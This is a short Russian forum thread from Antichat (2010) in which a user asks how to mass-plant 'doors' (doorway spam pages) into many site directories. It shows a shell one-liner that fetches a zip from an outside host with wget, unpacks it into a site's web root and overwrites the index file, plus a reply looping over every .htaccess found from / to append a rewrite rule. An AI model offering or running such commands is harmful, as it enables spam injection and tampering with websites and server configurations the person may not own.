Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   *nix (https://forum.antichat.xyz/forumdisplay.php?f=43)
-   -   массово изменить файл .htaccess (https://forum.antichat.xyz/showthread.php?t=205542)

_eXorcist_ 20.05.2010 22:39

массово изменить файл .htaccess
 
Тема заключается в том что хочу массово создать папку в нужных мне директориях залить туда доры, переименовать индексный файл и изменить содержимое файла

.htaccess

AddDefaultCharset windows-1251

php_flag zlib.output_compression On
php_flag session.use_only_cookie On
php_flag session.use_trans_sid Off

RewriteEngine On


RewriteRule ^webstat(.*)$ - [L]
RewriteRule ^modules/(.*)$ - [L]
RewriteRule ^sys_tpl/(.*)$ - [L]
RewriteRule ^forum/(.*)$ - [L]
RewriteRule ^subsys/(.*)$ - [L]
RewriteRule ^jscripts/(.*)$ - [L]
RewriteRule ^shared/(.*)$ - [L]
RewriteRule robots.txt - [L]

RewriteRule ^(.*)$ router.php [L]

дописать надо следующее

RewriteRule ^share(.*)$ - [L]

вот примерный запрос как я делаю

cd /usr/home/lon/data/www/lon.com.ua/;mkdir share;cd /usr/home/lon/data/www/lon.com.ua/share;wget http://cm.ru/door/part_1/lon.com.ua.zip;unzip lon.com.ua.zip;cp index.html index.php;ls -la

нужно дописать команду которая дописывает строчку RewriteRule ^share(.*)$ - [L]

krypt3r 21.05.2010 07:12

find + echo

_eXorcist_ 21.05.2010 10:48

Цитата:

Сообщение от krypt3r
find + echo

а поточнее если запрос продолжить то он как выглядеть будет ?

neval 25.05.2010 17:55

Код:

for ht in `find / -name .htaccess`; do echo 'RewriteRule ^share(.*)$ - [L]'  >> $ht; done


Время: 16:42